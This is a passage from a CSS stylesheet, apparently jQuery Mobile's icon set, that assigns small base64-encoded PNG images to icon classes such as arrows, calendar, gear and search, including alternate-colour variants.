background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAA4AAAAOCAYAAAAfSC3RAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAOxAAADsQBlSsOGwAAAD5JREFUOMul0kEKADAMAsE8PT/fXktpqVHvA8FY9QjQNQ3QABYawR3J8EQSvKFfLJRB+9SonOgd0QCiyakjXzjeR87keFK/AAAAAElFTkSuQmCC"); } .ui-icon-arrow-r:after { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAA4AAAAOCAYAAAAfSC3RAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAOxAAADsQBlSsOGwAAADpJREFUOMu90rENADAIA0FG/82dgooiSDgK31+DiWiSRDgpw4VzrBourFjzcGHiTcjbcX7PwdrLXdEBwEtHzn8VrGMAAAAASUVORK5CYII="); } .ui-icon-arrow-u-l:after { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAA4AAAAOCAYAAAAfSC3RAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAOxAAADsQBlSsOGwAAAEtJREFUOMtj+E8caGBAB2RpIkIjdk0ENB5gwAdoYSNJfjxATqg2QPkNRGnGJkiUZlx+INpmUjUz4dPIyMgIMr2RgVyAZnMDOZrhmgAEuoiZ+HH38AAAAABJRU5ErkJggg=="); } .ui-icon-arrow-u-r:after { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAA4AAAAOCAYAAAAfSC3RAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAOxAAADsQBlSsOGwAAAEdJREFUOMu9z8ENACAIQ9GOzmhuVq+GSCke/Fd8AYEUyaARbjkYVR2GiuT6s/HpjwKtEgoUeW6j/G6ETjxG3YkaFdhDCdtoA045nn2X6PolAAAAAElFTkSuQmCC"); } .ui-icon-arrow-u:after { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAA4AAAAOCAYAAAAfSC3RAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAOxAAADsQBlSsOGwAAADlJREFUOMtjYMAB/v//3wDCDKQAqCYYaCBHE3GacWjCr5mAJuyaidSEqplETQSdjQJIiY5RjZRoBADXbkfOGh7ilQAAAABJRU5ErkJggg=="); } .ui-icon-audio:after { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAA4AAAAOCAYAAAAfSC3RAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAOxAAADsQBlSsOGwAAANxJREFUOMuV0rEuRFEQxvETL2DpZVEoVLyFJ1CJRKfabCKikbiJUhQa3kSj32K7DQqJwgugQVay8lOYleO654avmm/m/HMmM5NSg3CUxTO4wlZqE44xyfwa3nzprA2Sg5FfwV3UDkrQN4gd9CJewCPesZQw9FtTcBR+P3wv/GnSrCnYxRNe0cEcPnDbCgZ8HrmN8A8Y/wW8+DeIZTzjBbOYj1ZvEgaYFMDr8P3w/fAn+TqqBnAbuxEvxqDG6NZ3WRUOYBX3UdsrXU9VG856/PKzxQJ8WDvyS2zmbz4B8IPWAlHG2vgAAAAASUVORK5CYII="); } .ui-icon-back:after { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAA4AAAAOCAYAAAAfSC3RAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAOxAAADsQBlSsOGwAAAJJJREFUOMtjYEAD////b2AgFYA0AfF/sjSRpBFZExT8AeLXQHwciCcAsQOxGrGBM0CsS0gzKxBLA7ELELcC8VOo+Ccg1iY6cIBCXEC8Fqp5M05n4xCXgGr8TGqoC5OrsRGqcS+xGkABVQ/E/6AaXQlpUATiYiC+C9UA0lhKjE3I4CYQexDrxGdAvBSIfYGYCV0eAL8TDNuB31nNAAAAAElFTkSuQmCC"); } .ui-icon-bars:after { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAA4AAAAOCAYAAAAfSC3RAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAOxAAADsQBlSsOGwAAAClJREFUOMtjYKA7+P///8n/pIMTII3HydB4lGHUjzTy4xly/XhiaPgRALzOTCcBlK2mAAAAAElFTkSuQmCC"); } .ui-icon-bullets:after { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAA4AAAAOCAYAAAAfSC3RAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAOxAAADsQBlSsOGwAAADpJREFUOMtjYKA7+P///0kgPo7GJwROgBQeB+KjSBqPE6HxKMOoH2nkxzNgN6PyifLjCTQ/nhicfgQA/VEZvCqEuYoAAAAASUVORK5CYII="); } .ui-icon-calendar:after { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAA4AAAAOCAYAAAAfSC3RAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAOxAAADsQBlSsOGwAAADFJREFUOMtjYICC////nwTi4ww4AFDuDBCfQBYgCwwljWQDZBNIYpOtcdSpeGwhVyMA6YDNaA+GXWMAAAAASUVORK5CYII="); } .ui-icon-camera:after { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAA4AAAAOCAYAAAAfSC3RAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAOxAAADsQBlSsOGwAAAJ1JREFUOMtjYKAW+P//vzoQ1wBxAxSD2KrYFHIBcSaSwqf/McFjJPksIOYEadz8n3SwCaTxDxaJh0A8AYj7oGx08IcBi+ABIBaFOh/kLBEgPoiuCJtGAzTnbwJiQ2I0sgDxLyT+TyBmJdbGTUj89UBsTIzGQ0h+zICyj2DT+BeL5kdA3A8N2ce4QnUTGfG4HqSREy3lEMIZ4JRDLgAADx5bua1tC5oAAAAASUVORK5CYII="); } .ui-icon-carat-d:after { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAA4AAAAOCAYAAAAfSC3RAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAOxAAADsQBlSsOGwAAAHdJREFUKJHV0D0OwjAMBtCcpiBSVn7uv8MpUNVMwAUeSyuiKG3DyLdZ9rMlh/BfwR6nhrkLurnYYcAT5xV0xRsPdAF331TxdOmVzd0CIsYlXEEjDnOzildRtjkiFbhEcekBJd5GGe4LnDZRho8TSOibUIF/Qy35ADEDFfz8Tu1HAAAAAElFTkSuQmCC"); } .ui-icon-carat-l:after { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAA4AAAAOCAYAAAAfSC3RAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAOxAAADsQBlSsOGwAAAFNJREFUOMtjYMAD/v//rwvE54FYhYFYAFSsB8Sv/0PAUyBWJVUTCLwHYmNyNJkQo+kNqZr06aOJIo14NJuSEnfImj+Qqvk1mmYzumt+TGp6xZnIAZYXFgOYoY9iAAAAAElFTkSuQmCC"); } .ui-icon-carat-r:after { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAA4AAAAOCAYAAAAfSC3RAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAOxAAADsQBlSsOGwAAAGRJREFUOMtjYEAD////Vwfi80CsxUAsACrWAOLn/yHgJRBrE6vRDIg//EcAkjSbU1PzK0o161CiWZdYjR9JshWowIIcTZZYNGkTo+kTSdEBdd4nkuMQqEgNiJ+SHPFIms8RSuQASm4V+ztdam4AAAAASUVORK5CYII="); } .ui-icon-carat-u:after { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAA4AAAAOCAYAAAAfSC3RAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAOxAAADsQBlSsOGwAAAG5JREFUOMtjYKA2+P//vz4Ik6PpDRTrkaoJBghrBilA0wQDr3Fqhmp6jaT4PRQja9YlRpMJEJsC8QesmkEMbJqQDEXX/AqsGUicx6UJj+ZzIEEVIH6KSxOSZjOo5scgPTBBVSA2JiKqzOCahg4AAODRFgCi4LIMAAAAAElFTkSuQmCC"); } .ui-icon-check:after, /* Used ui-checkbox-on twice to increase specificity. If active state has background-image for gradient this rule overrides. */ html .ui-btn.ui-checkbox-on.ui-checkbox-on:after { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAA4AAAAOCAYAAAAfSC3RAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAOxAAADsQBlSsOGwAAAE5JREFUOMu10DEKACEQQ1GPHl2QxUvHZsURQRJhfzfFKzIp/R1JkISLMmdQUeEebtAKvw053I+KRuUGncLpYxoS9kgfrDYK+LVRwM1GTh2KeDEWoG7NGwAAAABJRU5ErkJggg=="); } .ui-icon-clock:after { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAA4AAAAOCAYAAAAfSC3RAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAOxAAADsQBlSsOGwAAAN5JREFUOMuNkl0KglAQhYeexA0kthWtVQRCq6gQWkBRi4mIaA/Zm2EbsYJ6STsjx7jYtTrwoXecP2euiKGyLHtgBc7gQTKwBL7YhA8jcCvbdQWRLaigwxoEwCEh2PBb8Q5me3WliZHsCA7GOabPBXjCf6oqNbqo1LBtaV4IB6EK/gjs03wSTk7l2AKphDaX53tH2pUY70/bGjJmCeWH4DOgb6oV97SP5bemfO41i8/lquIv1Wb0yUG3NkbGBdhyei7R9nbGBRg2M0ZcbpvyjyAj2NPl6p505CQF83d71As1WJi0XvrCDgAAAABJRU5ErkJggg=="); } .ui-icon-cloud:after { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAA4AAAAOCAYAAAAfSC3RAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAOxAAADsQBlSsOGwAAAHRJREFUOMtjYBhw8P//f2EgTgTiWigtRIymSCD+/B8VfATiEHyabIH473/s4DcQm+PSuOs/fvAPiF8BsT+yJncg/vafOPASpqniP2ngCxBzgjS+/U862AjS+I4MjT9BGsvJ0LgO5k8XaIQ3EIEzgZiD/kkTAK0pr7/Ot6yrAAAAAElFTkSuQmCC"); } .ui-icon-comment:after { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAA4AAAAOCAYAAAAfSC3RAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAOxAAADsQBlSsOGwAAAEJJREFUOMtj+P//fyAQv/xPPHgFxP4MJGqCgZcM/8kEoxpppfEVGfpegDT6k5gIXgCxLwMyQJJsYCAFkKUJqpFoTQBdxXiyPJoNzQAAAABJRU5ErkJggg=="); } .ui-icon-delete:after { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAA4AAAAOCAYAAAAfSC3RAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAOxAAADsQBlSsOGwAAAFtJREFUOMulklEKwDAIQ83J153c0U1GK0ZG5o/ga4pNA4ty9zE7gGFFZY5leMSZM4srjjS0LKacgBtGLxmaW1k9q5J3tKLXnI/izbT/QmlVyRz5O+QAyJFTQ34BOkVgA0nxhd0AAAAASUVORK5CYII="); } .ui-icon-edit:after { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAA4AAAAOCAYAAAAfSC3RAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAOxAAADsQBlSsOGwAAAExJREFUOMtjYCAS/P//vwGEGUgBUE0w0ECuRsKakZ1HtK3YFBL0JxanEe28/yRpHPyaFEjWBNWYQLImqMYFJGuCajwA1QyyWYHYZAgAGGspdigXzkIAAAAASUVORK5CYII="); } .ui-icon-eye:after { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAA4AAAAOCAYAAAAfSC3RAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAOxAAADsQBlSsOGwAAAJ9JREFUOMtjYBhQ8P//f0YgjgLig0D8FYoPQMUYcWmSgCrCBUBy4uia5ID4HlTBDyDOBmIBIOaDsn9A5UBq5GCa+IH4OpLJ2Vhck4MkD1LLDxJcheYkAajik0B8HMlwZLCSCYt3/yHRMDYjtkBBd2ouFjUFSPLXQH7HFTi5UAMFoJp+YgQOkqniBKJjP0Z0oCWASKgBX6D4AFSMcWCTJwDwblGBQMiLsgAAAABJRU5ErkJggg=="); } .ui-icon-forbidden:after { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAA4AAAAOCAYAAAAfSC3RAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAOxAAADsQBlSsOGwAAANZJREFUOMuF0jFuwkAUhOEtCT0R4iwh4hgu0uUM3AAU5TKIKk1OgSPlHCgUQMOXZrAsY8NIK9k7/v3ezttSWsIMn/jFGSf84AOz0ie842BYB1R90CUffOEFo6w5NvEuDZz22pVqTHo6Wsb/w7TkTNdK9QN4G39dEoS0N7kH4zXeriQ9GMUchDHO/rEk8ga8B+Mpe6eSOcG809YNjMX1vWS4sOkJowt/53nVHcfyAQx7PF/NqnUBtklvnDMtWpUueOv+ucpwh7S/gVrwFGvscEziNVZNe9E/AYkNLyf6mZAAAAAASUVORK5CYII="); } .ui-icon-forward:after { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAA4AAAAOCAYAAAAfSC3RAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAOxAAADsQBlSsOGwAAAJVJREFUOMud0SEPQWEUBuA7I6iSTdFtfoNgJvkzNtE+QfcnRFFVFX9AECmaieYRfOGyue533/qeZ2c7J8tKBCGrEu+EqrAYY4AV9rji4TPhG/Rx8D8hj3q4xeKMJYbooFG0bRuLDZqlj4N7LNtJ78jBVuq5dxEuUuEowifmqKfgWYRwwhTdsniMY/5pKZtrmGCNy6+5F/zkDN/sPUM/AAAAAElFTkSuQmCC"); } .ui-icon-gear:after { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAA4AAAAOCAYAAAAfSC3RAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAOxAAADsQBlSsOGwAAANBJREFUOMuN0k1OAkEUReGKDVPsBUiCe/An6CZMCHERkLgABzpwr0rCAhoM/Tl56ktTQc+o07dud71TVUoFXOITe0zLKfCIOcZ488sLRrjDslaCHlvHbCPrscjFebz8ix7XuThOf+qwQotJPHeRbdBkEXmmVWX+dcpfMSthL9NWiueDNfsSyjOTSrEdrOkKpqH81FafUv6Mi+9gNJCzju21UdpF9o6z/MV7/+OAm1xcxhkd8FEpbNIFeBjOscAVmlCeZ2pwe1SqyJiF7d2PiAFfUWcCdKtjEnkAAAAASUVORK5CYII="); } .ui-icon-grid:after { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAA4AAAAOCAYAAAAfSC3RAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAOxAAADsQBlSsOGwAAAElJREFUOMtj+P///8n/CHCcAQjQxE5Axc4gizGCSAYkwAgExIgxMZAJQBpPIPGPQWlsYiexiJEBhlbgnCQyIKgXOGcIBcQQDxwAcK29sfGNuOEAAAAASUVORK5CYII="); } .ui-icon-heart:after { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAA4AAAAOCAYAAAAfSC3RAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAOxAAADsQBlSsOGwAAAJhJREFUOMud0L0NwjAQgNErGAEGoU0WSYUEggGyVULFCFCyAgPQQQsU5NE4EuLfPOka258sXUREYIwldtiixiBNnc526c04UlTg7NkqzaMzisBGvnW8+e2bU+D4R3gItH+Ebb+cXEW/2SYjaqKHEfY/RHsM4x5KXD5EF5TxCipcX0RXVPEJpugeokn8AosUd5hFDswxfXd/AyJMQU8RkPn/AAAAAElFTkSuQmCC"); } .ui-icon-home:after { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAA4AAAAOCAYAAAAfSC3RAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAOxAAADsQBlSsOGwAAADxJREFUOMtjYMAB/v//3wDCDKQAqCYYaCBHE3GacWjCr5mAJuyaidSEqplETZg2E6sDmx8p10iK3HDWCADqFJ92uuEinAAAAABJRU5ErkJggg=="); } .ui-icon-info:after { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAA4AAAAOCAYAAAAfSC3RAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAOxAAADsQBlSsOGwAAAJ1JREFUOMul0k0KwjAQQOHcQtF7SPEeQsHrKHo8S71IVdBVPzejaJ0u1AezSfKS+UkpL2COPY64RbTYYVYysMbFOGfUmdQPDi5QDdb6pxzpZS9VWCbrJ0xL1PQt2xKNeGNQRkZTonPG5BHx+pfY/iAeSgz3W3FTMIvhps1J5A6Tx0adfICMHqvhrXUMd4zuQ3qRp9iiwTXigM0zveAO8O5cUyF3tnAAAAAASUVORK5CYII="); } .ui-icon-location:after { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAA4AAAAOCAYAAAAfSC3RAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAOxAAADsQBlSsOGwAAAJlJREFUOMuV0TEOAVEUhtHXWYGh04pWzypYlJWIIENU1oQQdJKjucUL4+Er/7knr5iUXsIAO9xxwxb9VCrQxXvnIo6XYI0KbdSxbUrwHkdVtlWxXUvwFEedbOvEdizBVRzV6AbaxrYswanPTUqwhUMDOqD17ZfMGuAsfQs9PDL0QC/9EhYZnKdfwzCDw/RP2GOf/g1jjD59fwKZSi5HaePOlAAAAABJRU5ErkJggg=="); } .ui-icon-lock:after { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAA4AAAAOCAYAAAAfSC3RAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAOxAAADsQBlSsOGwAAAHFJREFUOMtjYEAD////Dwbiw0D8HYoPAXEgAz4AVND7HzfowqUpGKrgBxBnA7EAEPNB2T+gcv7YNB6GSmZjkcuByh3EpvE7VFIAixw/VO4rNo1ggMf/mPL/SQQ002gCxObkaDQGYlNyNDZAMf000iZUAdQHDgw3MuoHAAAAAElFTkSuQmCC"); } .ui-icon-mail:after { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAA4AAAAOCAYAAAAfSC3RAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAOxAAADsQBlSsOGwAAAIVJREFUOMtjYKA7+P//fzQQf/xPPACpjQZp5AJiRSA+SoQmkBoFkB6QxqtArAXEzEDcAMR/sGgAidVD1WiD9DBAJb4CcQLU6VZAfB9J0z0gtoTKJUDV/mdAM3kB1Ol8QLwEivmgYguQFTJgcRbY6UiBpw0V+09II9zpyE4jViNBMAAa6Q4ARIAH2Rfeh/QAAAAASUVORK5CYII="); } .ui-icon-minus:after { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAA4AAAAOCAYAAAAfSC3RAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAOxAAADsQBlSsOGwAAABZJREFUOE9jYBgFuMF/MsFQ0jgKcAMA2lPfIe/W1fgAAAAASUVORK5CYII="); } .ui-icon-navigation:after { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAA4AAAAOCAYAAAAfSC3RAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAOxAAADsQBlSsOGwAAAJNJREFUOMtjYKA1+P//vxAQ5wLxXGIUMwGxKxCvAOIf/yEgB58GeSBuAOIH/1HBdyAWRFfMAcSRQLwbiP/9xw6WI2swBOIpQPzuP2Hggu5pMyCOBuJ6IF4CxCeA+C2aJpCzGYkNSWRX1JMSBSehmv4CsRwpGpdCNe4iNdIboBojSNUYAw0kdlI1mgPxZHLTpyE2OQBXFwcOWoyvmwAAAABJRU5ErkJggg=="); } .ui-icon-phone:after { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAA4AAAAOCAYAAAAfSC3RAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAOxAAADsQBlSsOGwAAALRJREFUOMtj+P//PxMQLwDiI0DMy0AsACqOAuKz/yHgGNGagQrfAPFqNM08xGj8BtWwBqr5NxCbEqPx9H8EWAXEHsQ6tRxJ4yVSAocf6k8YCCZFcyySxi9AbE6K5vlImj8AsTWavBYQc2PTyAbEu5E0/wDiFKicNTT0sScSoCAXEO/5jwouAfFypHg+ikszyOaF/zHBGiTNh/D5OQGI36JphqWwiYQCTACIK4D4HNTPr2HRBQChdFG//DBhowAAAABJRU5ErkJggg=="); } .ui-icon-plus:after { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAA4AAAAOCAYAAAAfSC3RAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAOxAAADsQBlSsOGwAAAB5JREFUOMtjYMAC/qMBBmLBcNP4n0wwlDSOJgDcGgFPin6QGOaERAAAAABJRU5ErkJggg=="); } .ui-icon-power:after { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAA4AAAAOCAYAAAAfSC3RAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAOxAAADsQBlSsOGwAAANBJREFUOMtjYMAB/v//vxeIdzOQCv5DATEKQ4H4FhCbo2sEUrZAfBuIA9E1KQLxV6jaUCwaY6HcL0Ash6xxClRiNS6nApkboEITkTXehwoa49FoBhW6g6zxD1SQBY9GVqjQb2SNX6CCQkhiF4H4PBJfBKrmE7LGQ1DBBCQxJiBmROKnQtXsQ9aYCBV8AQphLFGlAsSvoWpikSWYkWx9A8QloIACYhMgLgfid1A5UGpiQjdVEIgP/scNQJr4caUeJmhk7wbi51C8C4ijkf1LEQAAs65tnfCMVk0AAAAASUVORK5CYII="); } .ui-icon-recycle:after { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAA4AAAAOCAYAAAAfSC3RAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAOxAAADsQBlSsOGwAAAJ9JREFUOMtjYKAm+P///1kg/gnEP6DsQiBmJ0YjNnAZiGUIafQDYi4g5gZiXyC+DtV8CcVmICcUhPEYxI+kuQAmKArEr6BYlIArQOA0TGA1kj9W4dHIA1XzDVnwB1SQG49GTAugQQ4Cvng0YnoJyCiCagQFAD8ezaiBCORwAPEVJM1+UD+BcAihuJNF0owCiEkxHNDkdQYUelB8gqrpGQBlvyiNmsjT4QAAAABJRU5ErkJggg=="); } .ui-icon-refresh:after { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAA4AAAAOCAYAAAAfSC3RAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAOxAAADsQBlSsOGwAAAM9JREFUOMtjYEAC////lwbiTiC+AsQ/gfgHEF8C4lYglkBSV4+sKRaIv/zHDT4BcSQQNwPxH5imGCD+B1WwCoitgJgNiq2BeC2aIX9AmiSB+DNUII8BBwDK7UfX2A7lrMGjqRmbjVegHEscmhqx+Bes8QeUw8ZACqBE42WoRmtSNbZBNa4lQq0vEDPDOJLQyAWBEjyaqqBqDiILRiAlgA1AbA/E3FDsCMRboHJ/gTgI3cQwIP6AJ8mB5IJxOUcMiJuA+Dw03X6BskFxKYasFgCG8ZXX6DfYhgAAAABJRU5ErkJggg=="); } .ui-icon-search:after { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAA4AAAAOCAYAAAAfSC3RAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAOxAAADsQBlSsOGwAAAONJREFUOMuV0c8qhVEUhvFvcvKlMHBCUUwU5RpMlIm5UnIFOp2bMHEDiokLkJKpMpXO4Bg4MlAGLkDK3/AzWYPd195iDd/nfVbttasqBjU6OMcdetjFdFUazOJGfp6wlpNqDKI0wDrmsYzjyF+x1BS3E2k0s/gg+EkTnAXYKDyjjU+8o07BbYiLv9zgPjpzaXgR4UpBGsJLdMZSsBPhaUHsBO81wRQeAx5iMrl2Fx/BNnNbV/EchS884K3xn32M5+QFHCXCNy6xhevIrtAuXbCFGYwk2cSf5MLCVN6r/jMh72P4BxnPgmBrkPyTAAAAAElFTkSuQmCC"); } .ui-icon-shop:after { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAA4AAAAOCAYAAAAfSC3RAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAOxAAADsQBlSsOGwAAAE9JREFUOMtjYEAD////ZwfiKUD8Hog/QtnsDIQAVOE6IBYDYlEg3gDEk4nRCLJJDIkPMuADMRr/EyMGlyAF4NJoiUWtOTEaybZxVOOAaQQAmEocSjETvxYAAAAASUVORK5CYII="); } .ui-icon-star:after { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAA4AAAAOCAYAAAAfSC3RAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAOxAAADsQBlSsOGwAAAJFJREFUOMtjYMAB/v//bwzCDKQCoKZZQDyTVE28QPwZiD8BMQ8pGtP/I0AaKRrPImk8g0tRAhB//U88AKmNh2nWAuKrRGi6AlKLbjMXEC/Ao2k+SA0uZyvj0aiML1Cy8GjMxKdxA1TRWyAOh+K3ULH1uDSxQCN8KxBLIolLAvE2IP4IUoNNowG+yAbJgdQwUAoAbN9GiH93pK4AAAAASUVORK5CYII="); } .ui-icon-tag:after { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAA4AAAAOCAYAAAAfSC3RAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAOxAAADsQBlSsOGwAAAEFJREFUOMtj+I8dNDAQAv9xgwZiNZoBsQXRmpEUgTRZEW3zf+JAAzaNDaOaSYhjApoJJowGspIiFs3EaULTjKEJAH1ft8O6vRfvAAAAAElFTkSuQmCC"); } .ui-icon-user:after { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAA4AAAAOCAYAAAAfSC3RAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAOxAAADsQBlSsOGwAAAJdJREFUOMud0jsOQUEUgOEpJGxD0CpswAqUohStLYitiEJUEtHZgETJKjyiIqqb3E9D4nFdE399vuTkzITwFgqYIMEarRAT+l5L0YyBK5/NY+A5Ax5/oZrsUlTz4ND3BnmwglMGOqD8a91ZBpzGHKeB6xO6oB77lssnuMgbLKGDMbb3X/MowQYjtFF8oB724tuhG/zZ3/AGG1/AkN/xnJsAAAAASUVORK5CYII="); } .ui-icon-video:after { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAA4AAAAOCAYAAAAfSC3RAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAOxAAADsQBlSsOGwAAAExJREFUOMvF0csJACAMBNE0KGJHlqtpYjwJIvF70Lk/CFmR5wEByIxTwFtwhmq5M1HYrEUAR7CiI9iiN/D6VOs5uuGSNYdfbJkAJ98rtv7WyPB7sagAAAAASUVORK5CYII="); } /* Alt icons */ .ui-alt-icon.ui-icon-action:after, .ui-alt-icon .ui-icon-action:after { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAA4AAAAOCAYAAAAfSC3RAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAOxAAADsQBlSsOGwAAAH1JREFUOMtjYCAOzAJiNgYywH8gPgbEkuRoBOFnQGyJLgjDDVBxNSBeDsQf0OR/AnEaAw5NdkD8BYuhWDXCAC8QvwDiH0BcB8TihJwKA/lA/BmIrQkFDrrG3UAcjhY4M5GiowGXxrl4QrcBWS26RiMiogWrRga6aSQFk68RAP5OVqWXKdm9AAAAAElFTkSuQmCC"); } .ui-alt-icon.ui-icon-alert:after, .ui-alt-icon .ui-icon-alert:after { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAA4AAAAOCAYAAAAfSC3RAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAOxAAADsQBlSsOGwAAAJZJREFUOMtjYMANvIHYi4FEwAbEt4D4JhCzkqKxFIj/Q3EpsZokgPgTksZPUDGCYAFUgxkQW0DZ8wlpMgfif1DFMPAfKmaGSxMjEJ9EciKyxv9QOUZsGhOQFP2HOtMKTSweXRMvED9HU4QNP4eqhYNuLIpMoH5GF++CaVID4l9YFJhjcSoI/wRiVZDGrUQ4ER1vZaA7AAA8nEl47CBNKgAAAABJRU5ErkJggg=="); } .ui-alt-icon.ui-icon-arrow-d:after, .ui-alt-icon .ui-icon-arrow-d:after { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAA4AAAAOCAYAAAAfSC3RAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAOxAAADsQBlSsOGwAAADRJREFUOMtjYMAO/qNhosGoRko1NmBRSAg3kKO5gRybG8hxdgOhgGkgRxM2zQ0MJIIGfJoARZtMu19O4xgAAAAASUVORK5CYII="); } .ui-alt-icon.ui-icon-arrow-d-l:after, .ui-alt-icon .ui-icon-arrow-d-l:after { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAA4AAAAOCAYAAAAfSC3RAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAOxAAADsQBlSsOGwAAAElJREFUOMtjYCAeNEAxSQCk4T8UN5CjiWjN2DTBNTaQo4kBh9UENTFgESRKEwOa5AFiNTHgUEhUCJKlCZ/GA4Tiiuo2UuRHnJoBqxder3inhF8AAAAASUVORK5CYII="); } .ui-alt-icon.ui-icon-arrow-d-r:after, .ui-alt-icon .ui-icon-arrow-d-r:after { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAA4AAAAOCAYAAAAfSC3RAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAOxAAADsQBlSsOGwAAAEFJREFUOMtjYECABigmCYA0/IfiBnI0kaQZm0aaaW4gRzNMHUk2I8sT7ewDaHyS/ExQIzGa8YIDdLORLD8So+k/AHCSXq9v5cRTAAAAAElFTkSuQmCC"); } .ui-alt-icon.ui-icon-arrow-l:after, .ui-alt-icon 